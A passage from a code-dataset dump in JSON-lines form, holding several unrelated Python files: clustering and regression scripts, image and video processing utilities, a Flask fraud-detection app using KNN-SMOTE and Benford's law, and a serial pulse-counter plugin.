kmeans_wineq.kmeans()\n pca = PCA(n_components=2)\n kmeans_wineq.X = pca.fit_transform(kmeans_wineq.X)\n kmeans_wineq.show()\n\n\ndef absent_time():\n data_ab = pd.read_csv('Absenteeism_at_work.csv', sep=';')\n abtime = data_ab['Absenteeism time in hours']\n abtimevalue = pd.DataFrame(abtime.value_counts())\n abtimevalue = abtimevalue.reindex(index=sorted(abtimevalue.index))\n abtimevalue.plot.bar()\n data_ab_droped = data_ab.drop('Absenteeism time in hours', axis=1)\n data_ab_droped = data_ab_droped.values\n SSE(data_ab_droped)\n pca = PCA(n_components=2)\n kmeans_ab = KMeans(data_ab_droped, 4)\n kmeans_ab.kmeans()\n kmeans_ab.X = pca.fit_transform(kmeans_ab.X)\n kmeans_ab.show()\n\n\ndef main():\n iris()\n wine()\n winequality_white()\n winequality_red()\n absent_time()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"L2ncE/K-means","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7563,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"6911753897","text":"import os\n\nfrom PIL import Image\n\nold_size = (32, 32)\nnew_size = (32, 40)\n\nroot = \"D:\\\\Novvy_foldeer\\\\Gry\\\\moje\\\\klockilol4dupf\\\\src\\\\sprites\\\\\"\nold_path = root + \"blocks\\\\\"\nnew_path = root + \"blocks_3d\\\\\"\n# empty = Image.new(\"CMYK\", (32, 40), (0, 0, 0, 0))\n# empty.putalpha(120)\nempty = Image.open(old_path + \"empty.gif\")\nempty = empty.resize(new_size)\nempty = empty.convert(\"RGBA\")\n\n\ndef remove_extension(s):\n return s[:s.rfind('.')]\n\n\ndef image_iter():\n for path, subdirs, files in os.walk(old_path):\n for name in files:\n yield os.path.join(path, name), remove_extension(name)\n\n\ndef generate_new_image(image: Image, name):\n if name in [\"level_available\", \"level_unavailable\",\n \"ones_one_0\", \"ones_one_1\", \"ones_one_2\", \"ones_one_3\"]:\n return image\n image = image.convert(\"RGBA\")\n ans = empty.copy()\n # ans = Image.alpha_composite(empty.copy(), image)\n for i in reversed(range(0, 8 + 1)):\n ans.paste(image, (0, i), mask=image)\n return ans\n\n\nfor path, name in image_iter():\n im = Image.open(path)\n im = generate_new_image(im, name)\n im.save(new_path + name + \".gif\")\n","repo_name":"aleksanderkatan/klockilol4dupf","sub_path":"game/scripts/create_3d_from_sprites.py","file_name":"create_3d_from_sprites.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"12990863371","text":"import pandas as pd\nimport numpy as np\nimport sys\nimport mlflow\nfrom azureml.core import Workspace\nfrom matplotlib import pyplot as plt\nfrom sklearn.preprocessing import PolynomialFeatures, LabelEncoder\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.neighbors import KNeighborsRegressor\nfrom sklearn.svm import SVR\nfrom sklearn.model_selection import TimeSeriesSplit, train_test_split\nfrom sklearn.metrics import mean_squared_error, mean_absolute_error, r2_score, max_error, explained_variance_score\nfrom sklearn.base import BaseEstimator, TransformerMixin\n\npd.options.mode.chained_assignment = None # default='warn'\n\nnum_of_splits = int(sys.argv[1]) if len(sys.argv) > 1 else 5\nnum_of_degree = int(sys.argv[2]) if len(sys.argv) > 2 else 2\nsel_of_model = sys.argv[3] if len(sys.argv) > 3 else 'LR'\n\ndiscrete_props = ['Direction'] # demonstrate which column of data is discrete feature (indicating others are linear) \n\ndef fillnan(df, col_name):\n num=0\n for i in df[col_name].notnull():\n if i is False or df[col_name][num]=='NaN':\n j=1\n while pd.isna(df[col_name][num+j]): j+=1 # check whether the next one is nan or not, if it is, skip to its next\n if col_name=='Direction': # for discrete feature(s) (here only the Direction)\n if num+j= num_frames:\n break\n print(f'Processed frame {frame_count} of {int(cap.get(cv2.CAP_PROP_FRAME_COUNT))} ({frame_count/int(cap.get(cv2.CAP_PROP_FRAME_COUNT))*100:.2f}%)')\n \n# Release the VideoCapture object\ncap.release()\n\n# Create a new image to store the panorama\npanorama = Image.new('RGBA', (len(avg_colors), height), color=(0, 0, 0, 0))\n\n# Draw each stripe onto the panorama\nfor x, color in enumerate(avg_colors):\n stripe = Image.new('RGB', (1, height), color=color)\n panorama.paste(stripe, (x, 0))\n\n# Check if the panorama is too large and resize it if needed\nif panorama.size[0] > 65500:\n print(f'Panorama too large, resizing to 65500 pixels')\n aspect_ratio = panorama.size[0] / panorama.size[1]\n new_height = int(65500 / aspect_ratio)\n panorama = panorama.resize((65500, new_height))\n\n# Save the panorama\noutput_path = os.path.splitext(video_path)[0] + '-pan.png'\npanorama.save(output_path)\n\nend_time = time.time()\n\nprint(f'Panorama saved to {output_path}')\nprint(f'Time taken: {end_time - start_time:.2f} seconds')\n\n# Open the panorama image\n#panorama_img = Image.open(output_path)\n\n# Get the center of the image\n#center_x = int(panorama_img.width / 2)\n#center_y = panorama_img.height\n\n# Define the radius of the circle\n#radius = int(panorama_img.width / 2)\n\n# Create a new image for the circle\n#circle_img = Image.new('RGBA', panorama_img.size, (255, 255, 255, 0))\n\n# Draw the circle on the new image\n#draw = ImageDraw.Draw(circle_img)\n#draw.ellipse((center_x - radius, center_y - radius, center_x + radius, center_y + radius), fill=(255, 255, 255, 255))\n\n# Paste the panorama onto the circle image with alpha mask\n#circle_img.paste(panorama_img, (0, 0), panorama_img)\n\n# Save the circle image\n#output_circle_path = os.path.splitext(video_path)[0] + '-pan-circle.png'\n#circle_img.save(output_circle_path)\n\n#print(f'Circle panorama saved to {output_circle_path}')","repo_name":"Chrisophogus/com-py","sub_path":"com-py.py","file_name":"com-py.py","file_ext":"py","file_size_in_byte":3491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19846064680","text":"\"\"\"\r\nRoutes and views for the flask application.\r\n\"\"\"\r\n\r\nfrom datetime import datetime\r\nfrom FlaskWebProject2 import app\r\nfrom werkzeug import secure_filename\r\nimport pandas as pd\r\nimport numpy as np\r\nimport math\r\nimport random\r\nfrom flask import render_template,request, url_for, redirect, session\r\nimport os\r\n\r\nfrom sklearn.preprocessing import normalize\r\n\r\napp.secret_key = os.urandom(12)\r\n\r\n@app.route('/')\r\n@app.route('/dashboard')\r\ndef home():\r\n \"\"\"Renders the home page.\"\"\"\r\n #return HTMLPage1()\r\n return render_template(\r\n 'knnsmote.html',\r\n title='Login Page'\r\n )\r\n\r\n@app.route('/login', methods=['GET', 'POST'])\r\ndef login():\r\n error = None\r\n if request.method == 'POST':\r\n if request.form['username'] != 'admin' or request.form['password'] != '123':\r\n error = 'Username or Password Invalid! Please Try Again'\r\n else:\r\n session['logged_in'] = True\r\n return redirect(url_for('afterlogin'))\r\n return render_template('index.html', error=error)\r\n\r\n@app.route(\"/afterlogin\")\r\ndef afterlogin():\r\n if not session.get('logged_in') :\r\n return redirect(url_for('login'))\r\n else:\r\n return render_template('dashboard_1.html')\r\n\r\n@app.route('/profile')\r\ndef profile():\r\n if not session.get('logged_in') :\r\n return redirect(url_for('login'))\r\n else:\r\n return render_template('user1.html')\r\n\r\n@app.route('/dashboard_1')\r\ndef dashboard_1():\r\n if not session.get('logged_in') :\r\n return redirect(url_for('login'))\r\n else:\r\n return render_template('dashboard_1.html')\r\n\r\n@app.route('/knnsmote')\r\ndef knnsmote():\r\n if not session.get('logged_in') :\r\n return redirect(url_for('login'))\r\n else:\r\n return render_template('knnsmote.html')\r\n\r\n@app.route('/upload', methods = ['GET', 'POST'])\r\ndef upload():\r\n if request.method == 'POST':\r\n if 'file' not in request.files:\r\n return redirect('knnsmote.html')\r\n # KNN-SMOTE\r\n f = request.files['file']\r\n dtest = bacaFile(f)\r\n test_class = dtest[6]\r\n dtrain = bacaFile('tr78.csv')\r\n klsmin = cariKelasMinor(dtrain[6])\r\n datamin = dataKelasMinor(klsmin, dtrain[6], dtrain[5])\r\n datasmote = smote(200, 9, klsmin[1], klsmin, datamin)\r\n combine = combineSintetis(dtrain[5], datasmote, dtrain[6])\r\n jrk = cariJarak(combine, dtest[5])\r\n urut = urutkanJarak(jrk, dtest[5])\r\n tetangga = cariTetangga(urut, 3)\r\n kls = menentukanKelas(tetangga)\r\n tampil = tampilkan(dtest, kls)\r\n akurasi = hitungAkurasi(kls, tetangga, dtest[6])\r\n confmatriks = hitungConfMatriks(kls, dtest[6], tetangga)\r\n text = ['Nomor Akun', 'Date', 'Nama Akun', 'Deskripsi', 'Data Kredit', 'Kelas Awal', 'Hasil Klasifikasi']\r\n\r\n # Grafik KNN-SMOTE\r\n global jumlahPerKelas\r\n jumlahPerKelas = grafik(dtest[6], kls)\r\n if request.form['submit_button'] == 'upload':\r\n return render_template(\"knnsmote.html\", da = text, column = tampil)\r\n \r\n elif request.method == 'GET':\r\n return rerender_template('knnsmote.html')\r\n\r\n# Method untuk melakukan pembacaan file data test\r\ndef bacaFile(nama):\r\n data = pd.read_csv(nama)\r\n no_akun = data['No Akun'].values.tolist()\r\n date = data['Date'].values.tolist()\r\n nama_akun = data['Nama Akun'].values.tolist()\r\n deskripsi = data['Description'].values.tolist()\r\n data_credit = data[['Credit']].values.tolist()\r\n data_class = data['Class'].values.tolist()\r\n data_norm = normalize(data_credit, axis=0, norm='max')\r\n return (no_akun, date, nama_akun, deskripsi, data_credit, data_norm, data_class)\r\n\r\n# Menentukan kelas minor dengan menghitung jumlah kemunculan masing-masing kelas\r\ndef cariKelasMinor(train_class):\r\n kelas = [0,0]\r\n for i in range(0,len(train_class)):\r\n if str(train_class[i])=='1':\r\n kelas[0] +=1\r\n elif str(train_class[i])=='2':\r\n kelas[1] +=1\r\n if kelas[0] < kelas[1]:\r\n return 1, kelas[0]\r\n else:\r\n return 2, kelas[1]\r\n\r\n# Mengambil data yang termasuk dalam kelas minoritas\r\ndef dataKelasMinor(kelasMinor, train_class, trainc):\r\n dataMinor = [0 for x in range(0,kelasMinor[1])]\r\n j = 0\r\n for i in range(0, len(train_class)):\r\n if str(train_class[i]) == str(kelasMinor[0]):\r\n dataMinor[j] = float(trainc[i])\r\n j += 1\r\n return dataMinor\r\n\r\n# SMOTE (Membuat data sintetis untuk ditambahkan pada data learning)\r\ndef smote(N,k,T, kelasMinor, dataMinor):\r\n # Menentukan jumlah kelipatan data yang akan dibuat\r\n dataDiulang = int(T)\r\n if N<100:\r\n dataDiulang =int((N/100)*int(T))\r\n N =100\r\n \r\n N = int(N/100)\r\n \r\n# Mencari jarak euclidean, \r\n euclideanD = [[0 for x in range(0,kelasMinor[1])] for y in range(kelasMinor[1])]\r\n for i in range(0, len(dataMinor)):\r\n for j in range(0, len(dataMinor)):\r\n euclideanD[i][j] = math.sqrt(math.pow(dataMinor[i]-dataMinor[j],2))\r\n \r\n# Mengurutkan jarak euclidean dari yang terkecil ke terbesar\r\n jarakUrut = [[0 for x in range(0,kelasMinor[1])] for y in range(kelasMinor[1])]\r\n for i in range(0, kelasMinor[1]):\r\n jarakUrut[i] = sorted(euclideanD[i])\r\n\r\n# Mencari tetangga\r\n tetangga = [[0 for x in range(k)] for y in range(len(jarakUrut))]\r\n for i in range(len(jarakUrut)):\r\n newindex = 0\r\n for j in range(k):\r\n if i == 1:\r\n continue\r\n# else :\r\n tetangga[newindex][j] = jarakUrut[i][j+1]\r\n newindex += 1\r\n \r\n# Membuat data sintetis\r\n sintetis = [[0 for x in range(0,2)] for y in range(dataDiulang*N)]\r\n newindex = 0\r\n while N != 0:\r\n nn = random.randint(0, (k-1))\r\n print(nn)\r\n for i in range (dataDiulang):\r\n rand = random.random()\r\n sintetis[newindex] = [dataMinor[i]+(tetangga[i][nn] - dataMinor[i])*rand,kelasMinor[0]]\r\n# print(tetangga[i][nn])\r\n# print(\"random:\", rand)\r\n newindex += 1\r\n N -= 1\r\n return sintetis\r\n\r\n# Menggabungkan data sintetis hasil SMOTE ke data training\r\ndef combineSintetis(trainc, dataSintetis, train_class):\r\n dataTrain = [[0 for x in range(0,2)] for y in range(len(trainc)+len(dataSintetis))]\r\n indexBaru = 0\r\n for i in range(len(trainc)):\r\n dataTrain[i] = [float(trainc[i]),train_class[i]]\r\n indexBaru += 1\r\n for j in range(len(dataSintetis)):\r\n# print(dataSintetis[j])\r\n dataTrain[indexBaru] = [dataSintetis[j][0],dataSintetis[j][1]]\r\n indexBaru += 1\r\n return dataTrain\r\n\r\n# Mencari jarak euclidean dari setiap data test ke data training\r\ndef cariJarak (trainCombine, test):\r\n jarak = [[0 for x in range(len(trainCombine))] for y in range(len(test))] \r\n for i in range(len(trainCombine)):\r\n for j in range(len(test)):\r\n jarak[j][i] = [math.sqrt(math.pow(trainCombine[i][0] - test[j],2)),trainCombine[i][1]]\r\n return jarak\r\n\r\n# Mengurutkan jarak eucliedean data test dari yang terkecil ke terbesar\r\ndef urutkanJarak (jarak, testc):\r\n arr = jarak\r\n for i in range(len(testc)):\r\n arr[i] = sorted(jarak[i], key=lambda x: x[0])\r\n return arr\r\n\r\n# Menentukan ketetanggaan dari data test\r\ndef cariTetangga(jarakUrut,k):\r\n tetangga = [[0 for x in range(k)] for y in range(len(jarakUrut))]\r\n for i in range(len(jarakUrut)):\r\n for j in range(k):\r\n tetangga[i][j] = jarakUrut[i][j]\r\n return tetangga\r\n\r\n# Menentukan kelas data test berdasarkan mayoritas kelas dari tetangga terdekatnya\r\ndef menentukanKelas(tetangga):\r\n arr = [[0 for x in range(0,2)] for y in range(len(tetangga))]\r\n for i in range(len(arr)):\r\n for j in range(len(tetangga[0])):\r\n if str(tetangga[i][j][1]) == '1':\r\n arr[i][0] +=1\r\n elif str(tetangga [i][j][1]) == '2':\r\n arr[i][1] +=1\r\n kelas = [0 for x in range(0,len(tetangga))]\r\n for i in range(len(arr)):\r\n if arr[i][0] >arr[i][1]:\r\n kelas[i] = '1'\r\n else:\r\n kelas[i] = '2'\r\n return kelas\r\n\r\ndef hitungAkurasi(kelas, tetangga, test_class):\r\n benar = 0\r\n for i in range(0, len(tetangga)):\r\n if str(test_class[i])==kelas[i]:\r\n benar +=1\r\n# print(str(test_class[i])+\" \" +kelas[i])\r\n akurasi =benar/len(kelas)\r\n print(akurasi)\r\n return akurasi\r\n\r\ndef hitungConfMatriks(kelas, test_class, tetangga):\r\n cm = [0 for i in range (0,4)]\r\n for i in range(0, len(tetangga)):\r\n if str(test_class[i])==kelas[i] and str(test_class[i])=='1':\r\n cm[0] +=1\r\n elif str(test_class[i])==kelas[i] and str(test_class[i])=='2':\r\n cm[3] +=1\r\n elif str(test_class[i])=='1' and kelas[i]=='2':\r\n cm[1] +=1\r\n else:\r\n cm[2] +=1\r\n# print(str(test_class[i])+\" \" +kelas[i])\r\n presisi =cm[0]/(cm[0]+cm[2])\r\n recall = cm[0]/(cm[0]+cm[1])\r\n spesifikasi = cm[3]/(cm[3]+cm[2])\r\n g_mean = math.sqrt(abs(recall-spesifikasi))\r\n f_measure = (2*recall*presisi)/(recall+presisi)\r\n print(presisi, recall, spesifikasi, g_mean, f_measure)\r\n return presisi, recall, spesifikasi, g_mean, f_measure\r\n\r\n# Menentukan data yang akan ditampilkan pada tabel hasil klasifikasi\r\ndef tampilkan(data, kelas):\r\n dataTampil = [0 for i in range(len(data[0]))]\r\n for i in range (0, len(dataTampil)):\r\n dataTampil[i] = [data[0][i],data[1][i],data[2][i],data[3][i],data[4][i][0],data[6][i], kelas[i]]\r\n\r\n return dataTampil\r\n\r\n# Menghitung jumlah persebaran data hasil klasifikasi untuk ditampilkan dalam bentuk grafik\r\ndef grafik(data, kelas):\r\n jumlahPerKelas = [[0 for i in range(0,2)] for j in range(0,2)]\r\n for i in range(0,2):\r\n for j in range(0,2):\r\n if i == 0:\r\n jumlahPerKelas[i][j] = data.count(j+1)\r\n else:\r\n jumlahPerKelas[i][j] = kelas.count(str(j+1))\r\n \r\n return jumlahPerKelas\r\n\r\n# Mengembalikan data yang akan ditampilkan pada grafik hasil klasifikasi KNN-SMOTE\r\n@app.route('/grafik_knn')\r\ndef tampil_grafik():\r\n tampil = jumlahPerKelas\r\n label = ['Kelas Awal', 'Kelas hasil Klasifikasi']\r\n kelas = ['1','2']\r\n return render_template('grafik_knn.html', de=label, ga=kelas, tampil = tampil)\r\n\r\n@app.route('/benford', methods = ['GET', 'POST'])\r\ndef benford():\r\n if request.method == 'POST':\r\n if 'file' not in request.files:\r\n return redirect('tables4.html')\r\n f = request.files['file']\r\n # Benford\r\n databenford = bacaBenford(f)\r\n datastring = dataStr(databenford)\r\n digit = ambilDigit(datastring)\r\n munculdigit = hitungKemunculanDigit(digit)\r\n realbenford = hitungRealBenford(munculdigit)\r\n nilaibenfrd = nilaiBenford()\r\n selisih = hitungSelisihBenford(nilaibenfrd, realbenford)\r\n urut = urutkanTransaksi(selisih)\r\n tampilurut = tampilkanUrutan(urut, digit, databenford)\r\n debit = tampilurut[0]\r\n kredit = tampilurut[1]\r\n text = ['Date', 'Deskripsi', 'Data Kredit']\r\n text2 = ['Date', 'Deskripsi', 'Data Debit']\r\n \r\n # grafik Benford\r\n global dataGrafik\r\n dataGrafik = grafikBenford(realbenford, nilaibenfrd)\r\n return render_template('tables4.html', df = text, df2 = text2, dt = debit, kt = kredit, tuple = tuple, type = type)\r\n\r\n else:\r\n if not session.get('logged_in') :\r\n return redirect(url_for('login'))\r\n else:\r\n return render_template('tables4.html')\r\n\r\n# BENFORD LAW\r\n\r\n# Melakukan Pembacaan data\r\ndef bacaBenford(nama):\r\n data = pd.read_excel(nama)\r\n data_credit = data['Credit'].values.tolist()\r\n data_debit = data['Debit'].values.tolist()\r\n data_date = data['Date'].dt.strftime('%d/%m/%Y')\r\n data_description = data['Description'].values.tolist()\r\n return [data_credit,data_debit,data_date, data_description]\r\n\r\n# Mengubah data kredit dan data debit menjadi bertipe data String\r\ndef dataStr(data):\r\n for i in range(len(data[0])):\r\n data[0][i] = str(data[0][i])\r\n data[1][i] = str(data[1][i])\r\n return data\r\n\r\n# Mengambil digit pertama untuk setiap data kredit dan data debit\r\ndef ambilDigit(data):\r\n dataDigit = [[0 for i in range(0,len(data[0]))] for j in range(0,2)]\r\n for i in range(0, len(dataDigit[0])):\r\n for j in range(0,2):\r\n dataDigit[j][i] = data[j][i][0]\r\n return dataDigit\r\n\r\n# Menghitung kemunculan digit 0-9 pada data kredit dan data debit\r\ndef hitungKemunculanDigit(data):\r\n digit = [i for i in range (1,10)]\r\n jumlahDigit = [[0 for i in range(0,9)] for j in range(0,2)]\r\n for y in range(0, 2):\r\n for i in range(0, len(data[0])):\r\n for j in range (0,9): \r\n if data[y][i] == str(digit[j]):\r\n jumlahDigit[y][j] += 1\r\n return jumlahDigit\r\n\r\n# Menghitung nilai Benford berdasarkan kondisi riil data kredit dan data debit\r\ndef hitungRealBenford(data):\r\n nilaiBenford = [[0 for i in range(0,9)] for j in range(0,2)]\r\n jumlah = [0,0]\r\n for i in range(0,9):\r\n for j in range(0,2):\r\n jumlah[j] += data[j][i]\r\n \r\n for i in range(0,9):\r\n for j in range(0,2):\r\n nilaiBenford [j][i] = data[j][i]/jumlah[j]\r\n \r\n return nilaiBenford\r\n\r\n# Menghitung koofesien nilai Benford untuk digit 0-9\r\ndef nilaiBenford():\r\n digit = [i for i in range (1,10)]\r\n benford = [0 for i in range(0, 9)]\r\n \r\n for i in range (0,9):\r\n benford[i] = np.log10(1+(1/digit[i]))\r\n \r\n return benford\r\n\r\n# Menghitung selisih nilai riil Benford dengan nilai pada koefisien Benford\r\ndef hitungSelisihBenford(benford, realBenford):\r\n selisihBenford = [[0 for i in range(0, 9)] for j in range(0,2)]\r\n \r\n for i in range(0,9):\r\n for j in range(0,2):\r\n selisihBenford[j][i] = abs(benford[i]-realBenford[j][i])\r\n return selisihBenford\r\n\r\n# Mengurutkan selisih nilai Benford dari yang terbesar ke terkecil (terbesar=transaksi perlu dicurigai, terkecil=tingkat kecurigaan kecil)\r\ndef urutkanTransaksi(data):\r\n dataUrut = [[[0 for i in range(0, 2)] for j in range(0,9)] for k in range(0,2)]\r\n digit = [i for i in range (1,10)]\r\n for i in range (0,2):\r\n for j in range(0,9):\r\n dataUrut [i][j] = data[i][j], digit[j]\r\n\r\n for i in range(0, 2):\r\n dataUrut[i] = sorted(dataUrut[i], key=lambda x: x[0], reverse=True)\r\n return dataUrut\r\n\r\n# Membuat format data yang akan ditampilkan pada tabel\r\ndef tampilkanUrutan(dataUrut, dataDigit, data):\r\n tampilUrut = [[0 for j in range(0, len(data[0]))] for i in range(0,2)]\r\n for i in range(0,2):\r\n newindex = 0\r\n for j in range(0,9):\r\n for k in range(0, len(data[0])):\r\n if dataDigit[i][k] == str(dataUrut[i][j][1]) and data[i][k]:\r\n tampilUrut[i][newindex]= data[2][k], data[3][k], data[i][k]\r\n newindex += 1\r\n return tampilUrut\r\n\r\n# Mengembalikan data yang akan ditampilkan pada grafik Benford Law\r\ndef grafikBenford(data, benford):\r\n dataGrafik = [0 for j in range(0,3)]\r\n dataGrafik[0] = data[0]\r\n dataGrafik[1] = benford\r\n dataGrafik[2] = data[1]\r\n return dataGrafik\r\n\r\n@app.route('/HTMLPage1')\r\ndef HTMLPage1():\r\n c = ['Kredit','Benford','Debit']\r\n e = [i for i in range(1,10)]\r\n d = dataGrafik\r\n\r\n return render_template('HTMLPage1.html', de=c, ga=d, ha=e)\r\n\r\n@app.route('/y')\r\ndef y():\r\n c = ['Kredit','Benford','Debit']\r\n e = [i for i in range(1,10)]\r\n d = dataGrafik\r\n\r\n return render_template('y.html', de=c, ga=d, ha=e)\r\n\r\n@app.route(\"/logout\")\r\ndef logout():\r\n session['logged_in'] = False\r\n return home()\r\n\r\nif __name__ == '__main__':\r\n app.run(debug = True)","repo_name":"putriauliand/Fraud-Detection","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":15930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15374805861","text":"from libkludge.type_info import TypeInfo\nfrom libkludge.selector import Selector\nfrom libkludge.cpp_type_expr_parser import dir_qual\nfrom libkludge.dir_qual_type_info import DirQualTypeInfo\nfrom libkludge.cpp_type_expr_parser import *\n\nclass EnumTypeInfo(TypeInfo):\n\n def __init__(self, jinjenv, kl_type_name, undq_cpp_type_expr):\n TypeInfo.__init__(\n self,\n jinjenv,\n kl_name_base=kl_type_name,\n lib_expr=undq_cpp_type_expr,\n is_simple=True,\n )\n\n def build_codec_lookup_rules(self):\n tds = TypeInfo.build_codec_lookup_rules(self)\n tds[\"conv\"][\"*\"] = \"protocols/conv/builtin/none\"\n tds[\"conv\"][\"edk_to_lib_decl\"] = \"types/builtin/enum/conv\"\n tds[\"result\"][\"*\"] = \"protocols/result/builtin/direct\"\n tds[\"repr\"][\"new_begin\"] = \"types/builtin/enum/repr\"\n tds[\"repr\"][\"new_end\"] = \"types/builtin/enum/repr\"\n return tds\n\nclass EnumSelector(Selector):\n\n def __init__(\n self,\n ext,\n cpp_type_expr,\n kl_type_name,\n ):\n Selector.__init__(self, ext)\n self.cpp_type_expr = cpp_type_expr\n self.kl_type_name = kl_type_name\n\n def get_desc(self):\n return \"Enum\"\n \n def maybe_create_dqti(self, type_mgr, cpp_type_expr):\n undq_cpp_type_expr, dq = cpp_type_expr.get_undq()\n if undq_cpp_type_expr == self.cpp_type_expr:\n return DirQualTypeInfo(\n dq,\n EnumTypeInfo(\n self.jinjenv,\n self.kl_type_name,\n undq_cpp_type_expr,\n )\n )\n","repo_name":"zhangxiao6776/kludge","sub_path":"libkludge/types/enum/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23622520706","text":"#!/usr/bin/env python3\nimport numpy as np\nimport sys\nimport matplotlib.pyplot as plt\n\nif len(sys.argv) != 2:\n print(\"Usage: plot_coeffs.py \\nwhere contains the output from sandpile_findcoeffs.py\")\ndirname = sys.argv[1]\n\nsize_cutoff = np.load(dirname+\"/size.npy\")\ntime_cutoff = np.load(dirname+\"/time.npy\")\nradius_cutoff = np.load(dirname+\"/radius.npy\")\narea_cutoff = np.load(dirname+\"/area.npy\")\nsizes = np.load(dirname+\"/sizes.npy\")\n\nmin_sizes = np.min(sizes, axis=1)\nareas = sizes[:,0] * sizes[:,1]\n# size_cutoff = size_cutoff[np.where((size_cutoff != 0))]\n# time_cutoff = time_cutoff[np.where((time_cutoff != 0) & (time_cutoff < 1))]\n# radius_cutoff = radius_cutoff[np.where((radius_cutoff != 0) & (radius_cutoff < 1))]\n# area_cutoff = area_cutoff[np.where((area_cutoff != 0) & (area_cutoff < 1))]\n\nplt.figure()\nplt.plot(min_sizes, size_cutoff, 'x')\nplt.title(\"size_cutoff\")\nplt.xlabel(\"min length\")\n\nplt.figure()\nplt.plot(areas, time_cutoff, 'x')\nplt.title(\"time_cutoff\")\nplt.xlabel(\"area\")\n\nplt.figure()\nplt.plot(min_sizes, radius_cutoff, 'x')\nplt.title(\"radius_cutoff\")\nplt.xlabel(\"min length\")\n\nplt.figure()\nplt.plot(areas, area_cutoff, 'x')\nplt.title(\"area_cutoff\")\nplt.xlabel(\"area\")\n\nplt.show()\n","repo_name":"gabi-a/labs3_sand","sub_path":"plot_coeffs.py","file_name":"plot_coeffs.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"34970544109","text":"import random\nimport turtle\nimport colorgram\nfrom turtle import *\n\nturtle.colormode(255)\nrgb_colors = []\ncolors = colorgram.extract('image.jpg', 30)\nfor color in colors:\n r = color.rgb.r\n g = color.rgb.g\n b = color.rgb.b\n new_color = (r, g, b)\n rgb_colors.append(new_color)\n\n\ndef dot_draw():\n t = Turtle()\n s = Screen()\n t.hideturtle()\n t.penup()\n t.speed(\"fastest\")\n t.setheading(225)\n t.forward(400)\n t.setheading(0)\n for outer in range(0, 10):\n for inner in range(0, 10):\n t.pencolor(random.choice(rgb_colors))\n t.dot(20)\n t.forward(50)\n t.setheading(180)\n t.forward(500)\n t.setheading(90)\n t.forward(50)\n t.setheading(0)\n s.exitonclick()\n\n\ndot_draw()\n","repo_name":"thebarcelonaguy/python-revision","sub_path":"Day 18/hirst-painting-start/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41579174711","text":"\"\"\"\r\nhttps://github.com/cmtso/map_res\r\n\r\nYou must cite:\r\nTimothy C. Johnson, Glenn E. Hammond, Xingyuan Chen,\r\nPFLOTRAN-E4D: A parallel open source PFLOTRAN module for simulating time-lapse electrical resistivity data,\r\nComputers & Geosciences,Volume 99,2017,Pages 72-80,https://doi.org/10.1016/j.cageo.2016.09.006\r\n\"\"\"\r\n\r\nimport map_res\r\nimport numpy as np\r\n\r\ne4d_inp_f = 'emesh7t'\r\nxnods = np.arange(10)\r\nynods = np.arange(10)\r\nznods = np.arange(10)\r\n\r\nmap_res.mesh_interp(xnods,ynods,znods,e4d_inp_f) # create'.bin' executable for interpolation\r\n\r\n\r\nnv = (len(xnods)-1)*(len(ynods)-1)*(len(znods)-1)\r\nfcr = np.zeros((nv,1))+0.4 \r\nporosity = np.zeros((nv,1))+0.3 \r\ntemperature = np.zeros((nv,1))+25.0\r\nsatr = np.zeros((nv,1))+ 1.0 # fully saturated\r\n\r\nsigfile='baseline.sig'\r\npetfile='wax_smit.txt'\r\ntime = 0.0\r\nmapfile = e4d_inp_f + '_map.bin'\r\nmap_res.map_waxsmit(fcr,satr,porosity,temperature,sigfile,petfile,mapfile,time) \r\n","repo_name":"cmtso/mapres","sub_path":"tests/test_myfunctions.py","file_name":"test_myfunctions.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"72093303121","text":"\"\"\"\nGadget Plugin for Pulse Counter with UART\nBased on ???\n\"\"\"\nfrom com.Globals import *\n\nimport dev.Gadget as Gadget\nfrom dev.GadgetSerial import PluginGadgetSerial as GS\nimport dev.Variable as Variable\nimport dev.Timer as Timer\n\n#######\n# Globals:\n\nEZPID = 'gdPulseCountUART'\nPTYPE = PT_SENSOR\nPNAME = '@WORK IO - Pulse Counter (serial)'\n\n#######\n\nclass PluginGadget(GS):\n \"\"\" TODO \"\"\"\n\n def __init__(self, module):\n super().__init__(module, 9) # 9 byte data packet\n self.param = {\n # must be params\n 'NAME':PNAME,\n 'ENABLE':False,\n 'TIMER':1,\n 'PORT':'',\n # instance specific params\n 'RespVar':'Counts',\n 'Scale':'',\n #'Mode':'',\n }\n self._readLUT = bytearray(256)\n self._counter = 0\n\n# -----\n\n def init(self):\n super().init()\n\n if self._ser:\n self._ser.init(115200, 8, None, 1) # baud=115200 databits=8 parity=none stopbits=1\n #Variable.set_meta(self.param['RespVar'], 'ppm', '{:.0f}')\n self.init_LUT()\n self._counter = 0\n self._last_clock = Timer.clock()\n\n# -----\n\n def exit(self):\n super().exit()\n\n# -----\n\n def idle(self):\n if not self._ser:\n return\n\n while self._ser.any():\n data = self._ser.read()\n self._counter += self._readLUT[data]\n\n# -----\n\n def timer(self, prepare:bool):\n self.idle()\n\n counter = self._counter\n clock = Timer.clock()\n clock_diff = clock - self._last_clock\n self._counter = 0\n self._last_clock = clock\n counter *= 1000 / clock_diff\n scale_str = self.param['Scale']\n if scale_str:\n counter *= float(scale_str)\n\n key = self.param['RespVar']\n source = self.param['NAME']\n Variable.set(key, counter, 